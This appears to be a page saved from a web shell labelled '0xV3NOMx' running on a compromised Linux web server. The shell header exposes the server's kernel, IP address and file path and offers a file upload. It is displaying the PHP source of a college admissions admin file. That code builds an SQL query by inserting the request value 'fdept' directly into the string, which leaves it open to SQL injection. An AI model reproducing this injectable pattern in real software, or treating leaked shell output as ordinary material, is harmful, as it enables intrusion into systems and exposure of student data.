0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 3.145.106.176


Current Path : /proc/thread-self/root/var/www/html/pgadm/admin-src/
Upload File :
Current File : //proc/thread-self/root/var/www/html/pgadm/admin-src/admList.php

<?php

function getAdmListView($aobj_context){
  
	$json = new Services_JSON();
	$fdept = stripslashes($aobj_context->mobj_data["fdept"]);

    //var_dump($_SESSION['fusertype']);
  	$aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC);
	if($fdept != 'All'){
		$cond = "and b.fdegree = '{$fdept}'";
	}

  	$query1 = "select a.fappno, a.fname, a.fmobileno, a.fcategory_ver, a.fhk_ver, b.fcollcode, c.fshortname as fcollname, b.frank, b.fallotno, b.fallotround, 
	ifnull(b.fadmfee,'') as fadmfee, ifnull(b.fpaymentstatus,'') as fpaymentstatus, ifnull(b.fchoice,'') as fchoice,
	ifnull(b.fseatstatus,'') as fseatstatus from entstudadm a inner join 
	entseatallot b on a.fappno = b.fappno inner join entcoll c on b.fcollcode = c.fcollcode
	where b.fallotround in (select fentround from control) {$cond}
	order by b.fcollcode, b.frank";
  	$result1 = $aobj_context->mobj_db->GetAll($query1);
  // var_dump($result1);
	if($result1)
	{	
		echo $aobj_context->mobj_output->ToJSONEnvelope($result1,0,"success"); 
	}	
	else
	{	
		$arr['msg'] = "Some Failure as occured";
		echo $aobj_context->mobj_output->ToJSONEnvelope($arr,-1,"error"); 
	}


}